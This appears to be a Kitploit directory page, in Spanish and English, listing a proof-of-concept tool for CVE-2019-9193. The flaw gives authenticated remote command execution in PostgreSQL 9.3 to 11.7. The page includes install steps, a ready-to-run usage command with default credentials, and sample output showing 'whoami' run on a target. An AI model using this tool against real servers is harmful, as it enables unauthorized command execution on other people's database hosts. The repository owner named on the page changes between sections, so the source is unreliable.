Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/jhnhnck/cve-2019-9193
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHubjhnhnck/cve-2019-9193

CVE-2019-9193

Herramienta PoC diseñada para explotar una vulnerabilidad de Ejecución Remota de Código (RCE) autenticada en ciertas versiones de PostgreSQL (9.3 - 11.7)

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ES

GenPostgresRCEExploit es una herramienta PoC diseñada para explotar una vulnerabilidad de ejecución remota de código (RCE) autenticada en ciertas versiones de PostgreSQL (9.3 - 11.7). Permite a los usuarios autenticados ejecutar comandos del sistema en un servidor de base de datos PostgreSQL vulnerable a CVE-2019-9193.

Características

  • Explotación de RCE: Ejecuta comandos del sistema a través de una sesión PostgreSQL autenticada.
  • Comprobación de versión: Comprueba la versión del servidor PostgreSQL objetivo para confirmar la presencia de una vulnerabilidad.
  • Ejecución de comandos: Permite ejecutar comandos del usuario en el servidor si es vulnerable.
  • Gestión automática de tablas: Crea y elimina una tabla temporal para ejecutar comandos sin intervención manual.

Requisitos

  • Python 3.x
  • Biblioteca Python de PostgreSQL (psycopg2 desde pip)
  • Cabeceras de la biblioteca de PostgreSQL (libpq-dev desde apt)

Instalación

  1. Clona el repositorio:
    root@kitploit:~
    git clone https://github.com/AxthonyV/CVE-2019-9193
    cd CVE-2019-9193
    
  2. Instala los paquetes necesarios:
    root@kitploit:~
    pip install -r requirements.txt
    

Uso

root@kitploit:~
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"

Opciones

  • -i, --ip: Dirección IP del servidor PostgreSQL (por defecto: 127.0.0.1)
  • -p, --port: Puerto del servidor PostgreSQL (por defecto: 5432)
  • -d, --database: Nombre de la base de datos PostgreSQL (por defecto: template1)
  • -U, --user: Nombre de usuario para conectarse al servidor PostgreSQL (por defecto: postgres)
  • -P, --password: Contraseña para conectarse al servidor PostgreSQL (por defecto: postgres)
  • -c, ---command: Comando del sistema que se ejecutará en el servidor
  • -t, --timeout: Tiempo de espera de conexión en segundos (por defecto: 10)

Ejemplo

root@kitploit:~
python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

Este ejemplo se conecta al servidor PostgreSQL en 192.168.1.10, se autentica con las credenciales proporcionadas y ejecuta el comando whoami.

Ejemplo de salida

root@kitploit:~
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

Descargo de responsabilidad

Esta herramienta está destinada únicamente a fines educativos y pruebas éticas. El uso no autorizado de esta herramienta contra cualquier sistema es ilegal y está estrictamente prohibido. Los autores no asumen ninguna responsabilidad por el uso indebido.

RU

GenPostgresRCEExploit is a PoC exploit designed to exploit remote code execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). The program allows authenticated users to execute system commands on a PostgreSQL server vulnerable to CVE-2019-9193.

Features

  • Exploit RCE: Execute system commands over an authenticated connection to PostgreSQL.
  • Version Check: Checks the version of the target PostgreSQL server for vulnerabilities.
  • Command Execution: Allows arbitrary commands to be executed on the server in the presence of a vulnerability.
  • Table Management: Automatically creates and deletes a temporary table for command execution.

Requirements

  • Python 3.x
  • PostgreSQL client library (psycopg2 package)

Installation

  1. Clone the repository:
    root@kitploit:~
    git clone https://github.com/geniuszly/CVE-2019-9193
    cd CVE-2019-9193
    
  2. Install the required packages:
    root@kitploit:~
    pip install -r requirements.txt
    

Usage

root@kitploit:~
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"

Options

  • -i, --ip: IP address of PostgreSQL server (Default: 127.0.0.1)
  • -p, --port: PostgreSQL server port (Default: 5432)
  • -d, --database: PostgreSQL database name (Default: template1)
  • -U, --user: Username to connect to the PostgreSQL server (Default: postgres)
  • -P, --password: Password to connect to PostgreSQL server (Default: postgres)
  • -c, --command: System command to execute on the server
  • -t, --timeout: Connection timeout in seconds (Default: 10)

Example

root@kitploit:~
python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

In this example, the program connects to the PostgreSQL server at 192.168.1.10, authenticates with the specified credentials, and executes the whoami command.

Example output

root@kitploit:~
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

Disclaimer

This tool is for educational purposes and legal testing only. Unauthorized use of this tool against any systems is illegal and strictly prohibited. The authors are not responsible for any misuse.

Descargar herramienta